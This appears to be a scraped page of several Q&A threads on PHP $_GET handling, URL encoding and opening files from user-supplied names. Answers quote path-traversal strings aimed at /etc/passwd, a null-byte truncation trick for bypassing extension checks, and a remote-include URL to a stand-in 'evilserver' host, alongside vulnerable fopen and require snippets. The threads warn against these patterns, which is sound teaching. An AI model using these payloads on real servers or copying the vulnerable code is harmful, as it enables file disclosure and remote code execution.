Problem with $_GET and fopen - php

I have a weird problem with $_GET method. I have a php code like this:
$fopen("files/" . $_GET['file'], "r");
When i write file path parameter my self It's run good but when I get the file name from $_GET method it shows me some error like the path is wrong.
What's wrong with it ?
Is there any special encoding for $_GET method to decode it to the right string style. I tried urldecode but it wasn't make any change.

Number one rule is to sanitize your input. Using $_GET like that is just asking for trouble.
Do the right thing. Put the $_GET value into a variable, verify that it is valid input THEN try to open the file.

As said at the bottom:
Try to dump the $_GET with print, print_r or var_dump
Try to sanitize the input
Remove the leading $ in your code (**$**fopen)
Test if file exists in the specified directory with if(is_file($path)
Isn't the problem caused by file extencion or permissions?
There could be more. It also depends on system you use (Win, Unix, Mac..).

Don't EVER use user input without validation, especially not for opening files on the host computer! I cannot overstate just how dangerous this is. What if someone entered a GET string with the value '../../../../../etc/password' into your application?

Related

Which special characters can cause a file path to be misinterpreted?

For example, there is function (pseudo code):
if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }
but is it possible, that hacker in a some way, used a special symbol/method, i.e.:
path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
Yes, such a symbol exists; it is called the 'null byte' ("\0").
Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.
If you want the string to end with .mp3 you should manually append it.
Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).
Consider the situation where:
$_GET['path'] = "../../../../../etc/passwd\0";
or a variation on this theme.
The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.
To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE
As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3

cutting special chars in folder name when using GET

I've been visiting stackoverflow.com for a long time and always found the solution to my problem. But this time it's different. That's why I'm posting my first question here.
The situation looks like this: My website provides a directory explorer which allows users to download whole directory as a zip file. The problem is I end up with error when I want to download a dir containg special characters in it's name, i.e. 'c++'. I don't want to force users to NOT name their folders with those special chars, so I need a clue on this one. I noticed that the whole problem comes down to GET protocol. I use ajax POST for example to roll out the directory content, but for making a .zip file and downloading it I need GET:
var dir_clicked = $(e.target).attr('path'); //let's say it equals '/c++'
window.location = 'myDownloadSite.php?directory_path='+dir_clicked;
I studied whole track of dir_clicked variable, step by step, and it seems that the variable in adress is sent correctly (I see the correct url in browser) but typing:
echo $_GET['directory_path']
in myDownloadSite.php prints
'/c'
instead of
'/c++'
Why the GET protocol is cutting my pluses?
You can use:
encodeURIComponent() //to get the url then use
decodeURIComponent() //to decode and access ur filename.
Use urlencode() and urldecode() on server side.
Try encoding your URI with encodeURI(url) JavaScript function.
window.location = encodeURI('myDownloadSite.php?directory_path=' + dir_clicked);
Maybe use encodeURIComponent() and then remove all %xx occurrences?
When the information is posted it is encoded with special chars, sounds like you just need to decode them before using the information.
You can use php function urldecode() to decode the folder names before using them...
$_GET[directory_path]=urldecode($_GET[directory_path]);

ignore '&' in var contents passed in address bar

i have a download.php file which gets and opens files. i have a problem is that files were named using '&' in the file name so i get file not found when trying to access files with '&' in them.
example: download.phpf=one_&_another.pdf
in the download.php file i use get to the the file name ($_GET['f']) the example above throws the error file not found if i change the file name to one_and_another.pdf it works.
Yes renaming would be nice if there wasnt a whole lot of these files named this way.
I need to know how to ignore the fact that '&' doesnt mean im about to pass another var in php.
If you can control the query strings, you need to URL encode the ampersands so they look like this:
download.php?f=one_%26_another.pdf
Then look for $_GET['f'] as usual. Otherwise a literal ampersand & would break $_GET into
{ 'f' => 'one_', '_another.pdf' => '' }
You will probably just need to urlencode() the & properly in your links:
download.php?f=one_%26_another.pdf
Rule number 1 for accepting user input: do not trust it.
Refer to this StackOverflow answer for your solution.

is_file($_GET) and security

I'm using this code on top of my PHP file for loading cached files and I'm worried whether it's secure enough:
//quick! load from cache if exists!
if (is_file('cache/'.($cachefile=basename('/',$_GET['f']))))
{
header('content-type: text/css');
require('cache/'.$cachefile);
die(); //ALL OK, loaded from cache
}
EDIT: I would also like to know if it isn't, how is it exploitable and how to rewrite it in safe manner.
EDIT 2: I edited code, from previous code, I don't know how I could thought that is_file will filter bad paths >.<
EDIT 3: Changed it again, so it uses basename() instead of end(explode()) and also changed inclusion from repeating the code into assigning the value into variable during first comparison (or file check).
I never just include($_GET), but today, I somehow thought is_file will filter out paths, that may harm my system. I don't know how.
Thank you
I could send $_GET['f'] = '../../database_passwords.xml' ...
Use basename to eliminate anything but the last segment of the passed path. Alternatively, construct the path, then compute the absolute path that corresponds and check if it's still within cache/.
BAD!
What about:
page.php?f=../../../../../etc/password
Never do such things
Check f against a white list or specific pattern like "[a-z]+.php"
No it isn't. I could put '../../anypath' in $_GET['f'] and gain access to any file on your server, even those outside your www root.
[edit]
It would be a lot safer if you would check for '/' and other invalid characters in the value. It is pretty safe if that filename only contains alphanumeric characters and . and _.

PHP form auto escaping posted data?

I have an HTML form POSTing to a PHP page.
I can read in the data using the $_POST variable on the PHP.
However, all the data seems to be escaped.
So, for example
a comma (,) = %2C
a colon (:) = %3a
a slash (/) = %2
so things like a simple URL of such as http://example.com get POSTed as http%3A%2F%2Fexample.com
Any ideas as to what is happening?
Actually you want urldecode. %xx is an URL encoding, not a html encoding. The real question is why are you getting these codes. PHP usually decodes the URL for you as it parses the request into the $_GET and $_REQUEST variables. POSTed forms should not be urlencoded. Can you show us some of the code generating the form? Maybe your form is being encoded on the way out for some reason.
See the warning on this page: http://us2.php.net/manual/en/function.urldecode.php
Here is a simple PHP loop to decode all POST vars
foreach($_POST as $key=>$value) {
$_POST[$key] = urldecode($value);
}
You can then access them as per normal, but properly decoded. I, however, would use a different array to store them, as I don't like to pollute the super globals (I believe they should always have the exact data in them as by PHP).
This shouldn't be happening, and though you can fix it by manually urldecode()ing, you will probably be hiding a basic bug elsewhere that might come round to bite you later.
Although when you POST a form using the default content-type ‘application/x-www-form-encoded’, the values inside it are URL-encoded (%xx), PHP undoes that for you when it makes values available in the $_POST[] array.
If you are still getting unwanted %xx sequences afterwards, there must be another layer of manual URL-encoding going on that shouldn't be there. You need to find where that is. If it's a hidden field, maybe the page that generates it is accidentally encoding it using urlencode() instead of htmlspecialchars(), or something? Putting some example code online might help us find out.

Categories